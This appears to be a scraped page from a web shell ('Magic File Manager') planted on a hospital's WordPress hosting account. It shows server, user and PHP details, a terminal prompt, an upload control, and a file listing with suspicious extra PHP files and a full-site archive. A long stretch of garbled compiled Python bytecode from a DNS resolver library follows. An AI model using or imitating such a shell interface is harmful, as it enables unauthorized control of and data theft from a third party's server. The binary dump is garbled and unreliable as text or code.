✨ Magic File Manager

🚀 Hostinger Optimized
🖥� Server: Apache
💻 System: Linux bom1plzcpnl503817.prod.bom1.secureserver.net 4.18.0-553.141.2.lve.el8.x86_64 #1 SMP Wed Jul 8 16:10:02 UTC 2026 x86_64
👤 User: pnj6a06usxf3 (9714991)
� PHP: 8.1.34
🚫 Disabled: ✨ NONE

💻 Terminal

� /home/pnj6a06usxf3/public_html/shivshaktihospital.co.in
$

� Create New

⬆� Upload File

📊 Max upload: 32M | 📦 Max POST: 128M

📄 Name📊 Size🔒 Perm⚡ Actions
� .well-known--drwxr-xr-x
� shivshaktihospital.com--drwxr-xr-x
� wp-admin--drwxr-xr-x
� wp-content--drwxr-xr-x
� wp-includes--drwxr-xr-x
⚙� .htaccess0.88 KB-rw-r--r--
📄 .htaccess.bk0.556 KB-rw-r--r--
📄 error_log1.57 MB-rw-r--r--
� index.php0.396 KB-rw-r--r--
📃 license.txt19.437 KB-rw-r--r--
� log.php63.893 KB-rw-r--r--
� readme.html7.233 KB-rw-r--r--
📦 shivshaktihospital.com.zip499.69 MB-rw-r--r--
� sid3.php55.304 KB-rw-r--r--
� wp-activate.php7.537 KB-rw-r--r--
� wp-blog-header.php0.343 KB-rw-r--r--
� wp-comments-post.php2.269 KB-rw-r--r--
� wp-config-sample.php3.261 KB-rw-r--r--
� wp-config.php3.16 KB-rw-r--r--
� wp-cron.php5.485 KB-rw-r--r--
� wp-links-opml.php2.435 KB-rw-r--r--
� wp-load.php3.845 KB-rw-r--r--
� wp-login.php51.305 KB-rw-r--r--
� wp-mail.php8.522 KB-rw-r--r--
� wp-postnews.php12.595 KB-rw-r--r--
� wp-settings.php32.375 KB-rw-r--r--
� wp-signup.php34.259 KB-rw-r--r--
� wp-trackback.php5.27 KB-rw-r--r--
� xmlrpc.php3.13 KB-rw-r--r--
3 >DéW‰Ëã@s¶dZddlZddlZddlZddlZy ddlZWnek rLddlZYnXddl Z ddl Z ddl Z ddl Z ddlZ ddlZ ddlZ ddlZ ddlZ ddlZ ddlZ ddlZ ddlmZmZejdkròy ddlZWnek rðddlZYnXGdd„de jjƒZGdd „d e jjƒZe jj Z Gd d „d e jjƒZ!Gd d „d e jjƒZ"Gdd„de jjƒZ#Gdd„de jjƒZ$Gdd„de jjƒZ%Gdd„de&ƒZ'Gdd„de&ƒZ(Gdd„de&ƒZ)Gdd„de&ƒZ*Gdd„de&ƒZ+da,dd„Z-d d!„Z.e j/j0e j1j2d"dd#dfd$d%„Z3e j1j2d"dfd&d'„Z4ej5ej6gej7ej8giZ9da:ej;Zej?Z@ejAZBejCZDejEZFddejGdddfd(d)„ZHd8d*d+„ZId9d,d-„ZJd.d/„ZKd0d1„ZLd2d3„ZMd:d4d5„ZNd6d7„ZOdS);z{DNS stub resolver. @var default_resolver: The default resolver object @type default_resolver: dns.resolver.Resolver objectéNé)ÚxrangeÚ string_typesÚwin32csVeZdZdZeddgƒZdZddd„Z‡fdd„Zd d „Z e e d d �Z d d„Z ‡Z S)ÚNXDOMAINz"The DNS query name does not exist.ÚqnamesÚ responsesNcCs\t|tttfƒstdƒ‚t|ƒdkr,tdƒ‚|dkr:i}nt|tƒsLtdƒ‚t||d�}|S)Nz#qnames must be a list, tuple or setrz(qnames must contain at least one elementz(responses must be a dict(qname=response))rr)Ú isinstanceÚlistÚtupleÚsetÚAttributeErrorÚlenÚdict)ÚselfrrÚkwargs©rú/usr/lib/python3.6/resolver.pyÚ _check_kwargs9s   zNXDOMAIN._check_kwargscs^d|jkrtt|ƒjƒS|jd}t|ƒdkr4d}n|jdd…}djtt|ƒƒ}d||fS)NrrzNone of DNS query names existz, z%s: %séÿÿÿÿ) rÚsuperrÚ__str__rÚ__doc__ÚjoinÚmapÚstr)rrÚmsg)Ú __class__rrrEs   zNXDOMAIN.__str__cCs d|jkrtdƒ‚tjj}tjj}d}xj|jdD]\}|jd|}x4|jD]*}|j|ksL|j |krfqL|j dj j ƒ}qLW|dk r2tj j|ƒSq2W|jddS)Nrzparametrized exception requiredrr)rÚ TypeErrorÚdnsÚ rdataclassÚINÚ rdatatypeÚCNAMEÚanswerÚrdtypeÚrdclassÚitemsÚtargetÚto_textÚnameÚ from_text)rr!r#ÚcnameÚqnameÚresponser$rrrÚcanonical_namePs  zNXDOMAIN.canonical_namez%Return the unresolved canonical name.)ÚdoccCs|t|jjdgƒƒ}t|jjdiƒƒ}|jjdiƒ}x<|jjdgƒD]*}||krX|j|ƒ||krB||||<qBWt||d�S)z3Augment by results from another NXDOMAIN exception.rr)rr)r rÚgetrÚappendr)rZe_nxZqnames0Z responses0Z responses1Zqname1rrrÚ__add__bs zNXDOMAIN.__add__)N) Ú__name__Ú __module__Ú __qualname__rr Ú supp_kwargsÚfmtrrr/Úpropertyr3Ú __classcell__rr)rrr3s  rc@seZdZdZdS)ÚYXDOMAINz8The DNS query name is too long after DNAME substitution.N)r4r5r6rrrrrr;osr;cs.eZdZdZdZedgƒZ‡fdd„Z‡ZS)ÚNoAnswerz�s zNoAnswer._fmt_kwargszDThe DNS response does not contain an answer to the question: {query}) r4r5r6rr8r r7r>r:rr)rrr<zs  r<cs@eZdZdZdZdedd …ZeddgƒZ‡fdd „Z‡Z S) Ú NoNameserverszôAll nameservers failed to answer the query. errors: list of servers and respective errors The type of errors is [(server ip address, any object convertible to string)]. Non-empty errors list will add explanatory message () z+All nameservers failed to answer the query.z%s {query}: {errors}NrÚrequestÚerrorsc sdg}x>|dD]2}|jd|d|dr*dnd|d|dfƒqWtt|ƒj|d jd j|ƒd �S) NrBz Server %s %s port %s answered %srrZTCPZUDPéérAz; )r=rB)r2rr@r>r?r)rrZsrv_msgsÚerr)rrrr>”s  & zNoNameservers._fmt_kwargsr) r4r5r6rrr8r r7r>r:rr)rrr@†s  r@c@seZdZdZdS)Ú NotAbsolutezEAn absolute domain name is required but a relative name was provided.N)r4r5r6rrrrrrF�srFc@seZdZdZdS)Ú NoRootSOAzBThere is no SOA RR at the DNS root name. This should never happen!N)r4r5r6rrrrrrG¢srGc@seZdZdZdS)Ú NoMetaqueriesz DNS metaqueries are not allowed.N)r4r5r6rrrrrrH§srHc@sBeZdZdZddd„Zdd„Zdd„Zd d „Zd d „Zd d„Z dS)ÚAnswera9DNS stub resolver answer Instances of this class bundle up the result of a successful DNS resolution. For convenience, the answer object implements much of the sequence protocol, forwarding to its rrset. E.g. "for a in answer" is equivalent to "for a in answer.rrset", "answer[i]" is equivalent to "answer.rrset[i]", and "answer[i:j]" is equivalent to "answer.rrset[i:j]". Note that CNAMEs or DNAMEs in the response may mean that answer node's name might not be the query name. @ivar qname: The query name @type qname: dns.name.Name object @ivar rdtype: The query type @type rdtype: int @ivar rdclass: The query class @type rdclass: int @ivar response: The response message @type response: dns.message.Message object @ivar rrset: The answer @type rrset: dns.rrset.RRset object @ivar expiration: The time when the answer expires @type expiration: float (seconds since the epoch) @ivar canonical_name: The canonical name of the query name @type canonical_name: dns.name.Name object Tc Csä||_||_||_||_d}d}xätddƒD]Ö}y0|j|j|||ƒ}|dksV|j|kr\|j}PWq,tk �r|t j j krìyJ|j|j||t j j ƒ} |dks¨| j|kr®| j}x| D] } | j }Pq´Ww,Wn"tk rê|ræt |d�‚YnX|�rüt |d�‚Yq,Xq,W|dk�r |�r t |d�‚||_||_|dk�rÒxšyR|j|j||t j jƒ} |dk�sf| j|k�rl| j}| dj|k�r†| dj}PWn@tk �rÊy |jƒ}Wnt jjk �rÄPYnXYnX�q8Wtjƒ||_dS) Nrré)r.rrrr)r-r%r&r.rZ find_rrsetr$ÚttlÚKeyErrorrr"r#r(r<r/ÚrrsetZ authorityÚSOAZminimumÚparentr*ÚNoParentÚtimeÚ expiration) rr-r%r&r.Úraise_on_no_answerZmin_ttlrMÚcountZcrrsetZrdZsrrsetrrrÚ__init__Ìsf          zAnswer.__init__cCs\|dkr|jjS|dkr |jjS|dkr0|jjS|dkr@|jjS|dkrP|jjSt|ƒ‚dS)Nr*rKÚcoversr&r%)rMr*rKrVr&r%r )rÚattrrrrÚ __getattr__szAnswer.__getattr__cCs|jrt|jƒpdS)Nr)rMr)rrrrÚ__len__szAnswer.__len__cCs|jrt|jƒpttƒƒS)N)rMÚiterr )rrrrÚ__iter__szAnswer.__iter__cCs |j|S)N)rM)rÚirrrÚ __getitem__szAnswer.__getitem__cCs |j|=dS)N)rM)rr\rrrÚ __delitem__szAnswer.__delitem__N)T) r4r5r6rrUrXrYr[r]r^rrrrrI¬s 7rIc@s<eZdZdZddd„Zdd„Zdd„Zd d „Zdd d „Zd S)ÚCacheaqSimple DNS answer cache. @ivar data: A dictionary of cached data @type data: dict @ivar cleaning_interval: The number of seconds between cleanings. The default is 300 (5 minutes). @type cleaning_interval: float @ivar next_cleaning: The time the cache should next be cleaned (in seconds since the epoch.) @type next_cleaning: float çÀr@cCs*i|_||_tjƒ|j|_tjƒ|_dS)z»Initialize a DNS cache. @param cleaning_interval: the number of seconds between periodic cleanings. The default is 300.0 @type cleaning_interval: float. N)ÚdataÚcleaning_intervalrQÚ next_cleaningÚ _threadingÚLockÚlock)rrbrrrrU-szCache.__init__cCsptjƒ}|j|krlg}x*|jjƒD]\}}|j|kr"|j|ƒq"Wx|D] }|j|=qHWtjƒ}||j|_dS)z&Clean the cache if it's time to do so.N)rQrcrar'rRr2rb)rÚnowZkeys_to_deleteÚkÚvrrrÚ _maybe_clean:s    zCache._maybe_cleanc CsNz<|jjƒ|jƒ|jj|ƒ}|dks6|jtjƒkr:dS|S|jjƒXdS)a)Get the answer associated with I{key}. Returns None if no answer is cached for the key. @param key: the key @type key: (dns.name.Name, int, int) tuple whose values are the query name, rdtype, and rdclass. @rtype: dns.resolver.Answer object or None N)rfÚacquirerjrar1rRrQÚrelease)rÚkeyrirrrr1Hs   z Cache.getc Cs2z |jjƒ|jƒ||j|<Wd|jjƒXdS)aAssociate key and value in the cache. @param key: the key @type key: (dns.name.Name, int, int) tuple whose values are the query name, rdtype, and rdclass. @param value: The answer being cached @type value: dns.resolver.Answer object N)rfrkrjrarl)rrmÚvaluerrrÚput[s  z Cache.putNc CsRz@|jjƒ|dk r(||jkr>|j|=ni|_tjƒ|j|_Wd|jjƒXdS)zæFlush the cache. If I{key} is specified, only that item is flushed. Otherwise the entire cache is flushed. @param key: the key to flush @type key: (dns.name.Name, int, int) tuple or None N)rfrkrarQrbrcrl)rrmrrrÚflushks    z Cache.flush)r`)N) r4r5r6rrUrjr1rorprrrrr_s   r_c@s0eZdZdZdd„Zdd„Zdd„Zdd „Zd S) Ú LRUCacheNodezLRUCache node. cCs||_||_||_||_dS)N)rmrnÚprevÚnext)rrmrnrrrrU†szLRUCacheNode.__init__cCs |j|_||_||j_||_dS)N)rrrs)rÚnoderrrÚ link_beforeŒszLRUCacheNode.link_beforecCs ||_|j|_||j_||_dS)N)rrrs)rrtrrrÚ link_after’szLRUCacheNode.link_aftercCs|j|j_|j|j_dS)N)rrrs)rrrrÚunlink˜s zLRUCacheNode.unlinkN)r4r5r6rrUrurvrwrrrrrq�s rqc@s<eZdZdZddd„Zdd„Zdd„Zd d „Zdd d „Zd S)ÚLRUCacheaOBounded least-recently-used DNS answer cache. This cache is better than the simple cache (above) if you're running a web crawler or other process that does a lot of resolutions. The LRUCache has a maximum number of nodes, and when it is full, the least-recently used node is removed to make space for a new one. @ivar data: A dictionary of cached data @type data: dict @ivar sentinel: sentinel node for circular doubly linked list of nodes @type sentinel: LRUCacheNode object @ivar max_size: The maximum number of nodes @type max_size: int é †cCs*i|_|j|ƒtddƒ|_tjƒ|_dS)z´Initialize a DNS cache. @param max_size: The maximum number of nodes to cache; the default is 100,000. Must be greater than 1. @type max_size: int N)raÚ set_max_sizerqÚsentinelrdrerf)rÚmax_sizerrrrU¯s  zLRUCache.__init__cCs|dkr d}||_dS)Nr)r|)rr|rrrrz»szLRUCache.set_max_sizec CslzZ|jjƒ|jj|ƒ}|dkr$dS|jƒ|jjtjƒkrJ|j|j=dS|j |j ƒ|jS|jj ƒXdS)a)Get the answer associated with I{key}. Returns None if no answer is cached for the key. @param key: the key @type key: (dns.name.Name, int, int) tuple whose values are the query name, rdtype, and rdclass. @rtype: dns.resolver.Answer object or None N) rfrkrar1rwrnrRrQrmrvr{rl)rrmrtrrrr1Às    z LRUCache.getc Cs–z„|jjƒ|jj|ƒ}|dk r2|jƒ|j|j=x.t|jƒ|jkr`|jj }|jƒ|j|j=q4Wt ||ƒ}|j |jƒ||j|<Wd|jj ƒXdS)aAssociate key and value in the cache. @param key: the key @type key: (dns.name.Name, int, int) tuple whose values are the query name, rdtype, and rdclass. @param value: The answer being cached @type value: dns.resolver.Answer object N) rfrkrar1rwrmrr|r{rrrqrvrl)rrmrnrtrrrroØs     z LRUCache.putNc Cs„zr|jjƒ|dk r<|jj|ƒ}|dk rp|jƒ|j|j=n4|jj}x$||jkrh|j}d|_d|_|}qFWi|_Wd|jj ƒXdS)zæFlush the cache. If I{key} is specified, only that item is flushed. Otherwise the entire cache is flushed. @param key: the key to flush @type key: (dns.name.Name, int, int) tuple or None N) rfrkrar1rwrmr{rsrrrl)rrmrtrsrrrrpðs      zLRUCache.flush)ry)N) r4r5r6rrUrzr1rorprrrrrx�s  rxc@sªeZdZdZd%dd„Zdd„Zdd „Zd d „Zd d „Zdd„Z dd„Z dd„Z dd„Z dd„Z dd„Zejjejjddddfdd„Zdejjfdd „Zd!d"„Zd#d$„ZdS)&ÚResolvera-DNS stub resolver @ivar domain: The domain of this host @type domain: dns.name.Name object @ivar nameservers: A list of nameservers to query. Each nameserver is a string which contains the IP address of a nameserver. @type nameservers: list of strings @ivar search: The search list. If the query name is a relative name, the resolver will construct an absolute query name by appending the search names one by one to the query name. @type search: list of dns.name.Name objects @ivar port: The port to which to send queries. The default is 53. @type port: int @ivar timeout: The number of seconds to wait for a response from a server, before timing out. @type timeout: float @ivar lifetime: The total number of seconds to spend trying to get an answer to the question. If the lifetime expires, a Timeout exception will occur. @type lifetime: float @ivar keyring: The TSIG keyring to use. The default is None. @type keyring: dict @ivar keyname: The TSIG keyname to use. The default is None. @type keyname: dns.name.Name object @ivar keyalgorithm: The TSIG key algorithm to use. The default is dns.tsig.default_algorithm. @type keyalgorithm: string @ivar edns: The EDNS level to use. The default is -1, no Edns. @type edns: int @ivar ednsflags: The EDNS flags @type ednsflags: int @ivar payload: The EDNS payload size. The default is 0. @type payload: int @ivar flags: The message flags to use. The default is None (i.e. not overwritten) @type flags: int @ivar cache: The cache to use. The default is None. @type cache: dns.resolver.Cache object @ivar retry_servfail: should we retry a nameserver if it says SERVFAIL? The default is 'false'. @type retry_servfail: bool ú/etc/resolv.confTcCs˜d|_d|_d|_d|_d|_d|_d|_d|_d|_d|_ d|_ d|_ d|_ d|_ d|_d|_d|_|jƒ|r”tjdkr†|jƒn|r”|j|ƒdS)aJInitialize a resolver instance. @param filename: The filename of a configuration file in standard /etc/resolv.conf format. This parameter is meaningful only when I{configure} is true and the platform is POSIX. @type filename: string or file object @param configure: If True (the default), the resolver instance is configured in the normal fashion for the operating system the resolver is running on. (I.e. a /etc/resolv.conf file on POSIX systems and from the registry on Windows systems.) @type configure: boolNFr)ÚdomainÚ nameserversÚnameserver_portsÚportÚsearchÚtimeoutÚlifetimeÚkeyringÚkeynameÚ keyalgorithmÚednsÚ ednsflagsÚpayloadÚcacheÚflagsÚretry_servfailÚrotateÚresetÚsysÚplatformÚ read_registryÚread_resolv_conf)rÚfilenameZ configurerrrrU9s.   zResolver.__init__cCs¢tjjtjjtjƒƒdd…ƒ|_t|jƒdkr:tjj|_g|_ i|_ d|_ g|_ d|_ d|_d|_d|_tjj|_d|_d|_d|_d|_d|_d|_d|_dS) z1Reset all resolver configuration to the defaults.rNré5g@g>@Fr)rr*ÚNamer+ÚsocketÚ gethostnamerrÚrootr€r�r‚rƒr„r…r†r‡ÚtsigÚdefault_algorithmrˆr‰rŠr‹rŒr�rŽr�)rrrrr�_s&"  zResolver.resetcCsZt|tƒrt‚t|tƒrTtjj|ƒ}tjj |ƒrdt‚g}|j ƒr||j |ƒnZt |ƒdkrœ|j |j tjjƒƒ|jrÄx2|jD]} |j |j | ƒƒqªWn|j |j |jƒƒd} i} tjƒ} d} �xÐ|D�]Æ} |j�r@|jj| ||fƒ}|dk �r@|jdk�r<|�r|ƒ�qÊW|j6ƒtj6j9k�r´|| | <qòd } PqòW| �rÐt9|| d �‚t?| ||||ƒ}|j�rü|jj@| ||f|ƒ|S) aQuery nameservers to find the answer to the question. The I{qname}, I{rdtype}, and I{rdclass} parameters may be objects of the appropriate type, or strings that can be converted into objects of the appropriate type. E.g. For I{rdtype} the integer 2 and the the string 'NS' both mean to query for records with DNS rdata type NS. @param qname: the query name @type qname: dns.name.Name object or string @param rdtype: the query type @type rdtype: int or string @param rdclass: the query class @type rdclass: int or string @param tcp: use TCP to make the query (default is False). @type tcp: bool @param source: bind to this IP address (defaults to machine default IP). @type source: IP address in dotted quad notation @param raise_on_no_answer: raise NoAnswer if there's no answer (defaults is True). @type raise_on_no_answer: bool @param source_port: The port from which to send the message. The default is 0. @type source_port: int @rtype: dns.resolver.Answer instance @raises Timeout: no answers could be found in the specified lifetime @raises NXDOMAIN: the query name does not exist @raises YXDOMAIN: the query name is too long after DNAME substitution @raises NoAnswer: the response did not contain an answer and raise_on_no_answer is True. @raises NoNameservers: no non-broken nameservers are available to answer the question.NrT)r.)Ú algorithmgš™™™™™¹?r)rArB)ÚsourceÚ source_portrCF)rr)Ar rrr*r+r"Z is_metatyperHr Z is_metaclassÚ is_absoluter2rZ concatenateršrƒrrQrŒr1rMr<r.ÚmessageZ make_queryr‡Úuse_tsigr†rˆÚuse_ednsr‰rŠr‹r�r€r�ÚrandomZshuffler@rÃr�r‚r=ÚtcpÚudpZTCr˜ÚerrorÚ exceptionrÀZUnexpectedSourceZ FormErrorÚremoveÚEOFErrorÚrcoder;ZNOERRORrZSERVFAILrŽr)rÁZsleeprIro)rr-r%r&rÌrÅrSrÆZ qnames_to_tryr¨Z all_nxdomainZnxdomain_responsesrÂZ_qnamer$rAr.r€rBZbackoffr r„r‚Z tcp_attemptZexrÒZ sleep_timerrrr=]sô#                                      zResolver.querycCs4||_|dkr$t|jjƒƒd|_n||_||_dS)aÄAdd a TSIG signature to the query. @param keyring: The TSIG keyring to use; defaults to None. @type keyring: dict @param keyname: The name of the TSIG key to use; defaults to None. The key must be defined in the keyring. If a keyring is specified but a keyname is not, then the key used will be the first key in the keyring. Note that the order of keys in a dictionary is not defined, so applications should supply a keyname when a keyring is used, unless they know the keyring contains only one key. @param algorithm: The TSIG key algorithm to use. The default is dns.tsig.default_algorithm. @type algorithm: stringNr)r†r Úkeysr‡rˆ)rr†r‡rÄrrrrÉ"s zResolver.use_tsigcCs"|dkr d}||_||_||_dS)aConfigure Edns. @param edns: The EDNS level to use. The default is -1, no Edns. @type edns: int @param ednsflags: The EDNS flags @type ednsflags: int @param payload: The EDNS payload size. The default is 0. @type payload: intNrr)r‰rŠr‹)rr‰rŠr‹rrrrÊ8s zResolver.use_ednscCs ||_dS)z�Overrides the default flags with your own @param flags: The flags to overwrite the default with @type flags: intN)r�)rr�rrrÚ set_flagsHszResolver.set_flags)r~T)r4r5r6rrUr�r”r®r°r±r³r·r“r¼rÃrr"ÚAr r!r=r›rœrÉrÊrÔrrrrr} s&+ &)  "-7 Er}cCstdkrtƒtS)z7Get the default resolver, initializing it if necessary.N)Údefault_resolverÚreset_default_resolverrrrrÚget_default_resolverRsrØcCs tƒadS)zSRe-initialize default resolver. resolv.conf will be re-read immediatelly. N)r}rÖrrrrr×Ysr×FTcCstƒj|||||||ƒS)zëQuery nameservers to find the answer to the question. This is a convenience function that uses the default resolver object to make the query. @see: L{dns.resolver.Resolver.query} for more information on the parameters.)rØr=)r-r%r&rÌrÅrSrÆrrrr=bs r=cCs¸t|tƒrtjj|tjjƒ}|dkr*tƒ}|jƒs:t|ƒ‚xxy(|j |tj j ||ƒ}|j j|krb|SWn tj jtj jfk r„YnXy |jƒ}Wq<tjjk r®t‚Yq|jdƒ} t | ƒdkr¨| d} n|} t j j | ƒ} |j|ƒ|}W�npt k �r:y t jj |ƒ} |j|ƒ|}W�n8t k �r4|tj@dk�r0yÔ|tjk�s8|tjk�rˆtj|t jjd d �} | j}| jjd ƒ}| jdk �rˆx| jD]} |j| jƒ�qrW|tjk�s |tjk�rðtj|t jjd d �}|j}|jjd ƒ}|jdk �rðx|jD]} |j| jƒ�qÚWWn<t jjk �rtjtjƒ‚Yntjtjƒ‚YnXYnXYnXd}y|dk�rRd}nt |ƒ}WnLt k �r¨|tj!@dk�r¤ytj"|ƒ}Wnt k �r¢YnXYnX|dk�rÀtjtjƒ‚g}|dk�rÜtj#tj$g}n|g}|tj%@dk�rø|}nd }|tjk�s|tjk�rfxP|D]H} x@|D]8}x0t&|D]$}|jtj|||| |ddffƒ�q2W�q$W�qW|tjk�s~|tjk�rÌxL|D]D} x<|D]4}x,t&|D] }|jtj|||| |ffƒ�qœW�qŽW�q„Wt |ƒdk�rætjtjƒ‚|S) NrZ localhostz::z0.0.0.0z::1z 127.0.0.1ú%rCF)rSTÚ)'r˜Z AI_ADDRCONFIGZ AI_V4MAPPEDÚNotImplementedErrorÚgaierrorÚ EAI_NONAMEZ AI_PASSIVEr2r£rrÚipv6Ú inet_atonÚ ExceptionZipv4ZAI_NUMERICHOSTÚAF_INET6Ú AF_UNSPECÚ _resolverr=r"ZAAAAr-r/r)rMZaddressÚAF_INETrÕrÙrZ EAI_SYSTEMÚintZAI_NUMERICSERVZ getservbynameÚ SOCK_DGRAMÚ SOCK_STREAMÚ AI_CANONNAMEÚ_protocols_for_socktype)ÚhostÚserviceÚfamilyZsocktypeÚprotor�Zv6addrsZv4addrsr/ÚpartsZahostÚaddrZv6ZrdataZv4r‚ÚtuplesZ socktypesr,rrrÚ _getaddrinfo¢sª                               $     róc Csf|d}|d}t|ƒdkr,|d}tj}n d}tj}t|||tjtjdƒ}t|ƒdkrbtjdƒ‚|ddd}|tj@r‚d}nd}t j j |ƒ} |tj @dk�ry"t j| dƒ} | jdjjd ƒ} WnVt jjt jjfk �r|tj@røtjtjƒ‚|} |dk �r| d t|ƒ7} YnXn|} |dk �r<| d t|ƒ7} |tj@�rRt|ƒ} n tj||ƒ} | | fS) NrrérDz'sockaddr resolved to multiple addressesrÍrÌZPTRTrÛ)rr˜rãræróréÚSOL_TCPrÎZNI_DGRAMrZ reversenameZ from_addressZNI_NUMERICHOSTrår=rMr(r)rÙrr<Ú NI_NAMEREQDrÞrßrZNI_NUMERICSERVZ getservbyport) Úsockaddrr�rìr‚ZscoperîròrñZpnamer-r$ZhostnamerírrrÚ _getnameinfosB               røc CsD|dkrtjƒ}ytt|dƒddƒdStk r>|SXdS)NéPrrô)r˜r™rørórâ)r*rrrÚ_getfqdn.s rúcCst|ƒddS)NrCr)Ú_gethostbyname_ex)r*rrrÚ_gethostbyname7srücCsXg}g}t|dtjtjtjtjƒ}|dd}x|D]}|j|ddƒq4W|||fS)NrrDrô)rór˜rærérõrêr2)r*ÚaliasesÚ addressesròÚ canonicalÚitemrrrrû;s   rûc Cs¬y"tjj|ƒ|dddf}tj}Wn"tk rD|df}tj}YnXt|tjƒ\}}g}g}t |d|tj tj tj ƒ}|dd}x|D]} |j | ddƒqˆW|||fS)NrùrrDrô)rràrár˜rãrârærørörórérõrêr2) Zipr÷rîr*r‚rýrþròrÿrrrrÚ_gethostbyaddrGs       rcCs:|dkrtƒ}|att_tt_tt_t t_ t t_ t t_dS)aûOverride the system resolver routines in the socket module with versions which use dnspython's resolver. This can be useful in testing situations where you want to control the resolution behavior of python code without having to change the system's resolver settings (e.g. /etc/resolv.conf). The resolver to use may be specified; if it's not, the default resolver will be used. @param resolver: the resolver to use @type resolver: dns.resolver.Resolver object or None N)rØrårór˜Ú getaddrinforøÚ getnameinforúÚgetfqdnrüÚ gethostbynamerûÚgethostbyname_exrÚ gethostbyaddr)rÙrrrÚoverride_system_resolver[srcCs,datt_tt_tt_tt_ t t_ t t_ dS)z4Undo the effects of override_system_resolver(). N)råÚ_original_getaddrinfor˜rÚ_original_getnameinforÚ_original_getfqdnrÚ_original_gethostbynamerÚ_original_gethostbyname_exrÚ_original_gethostbyaddrrrrrrÚrestore_system_resolverusr)r)N)N)Prr˜r‘rQrËZ threadingrdÚ ImportErrorZdummy_threadingZ dns.exceptionrZ dns.flagsZdns.ipv4Zdns.ipv6Z dns.messageZdns.nameZ dns.queryZ dns.rcodeZdns.rdataclassZ dns.rdatatypeZdns.reversenameZdns.tsigZ_compatrrr’Úwinregr´rÏZ DNSExceptionrr;rÀr<r@rFrGrHÚobjectrIr_rqrxr}rÖrØr×r"rÕr r!r=rÚrèZSOL_UDPrérõrërårr rr rr rr rr rrrärórørúrürûrrrrrrrÚsˆ   < sboG  &  c (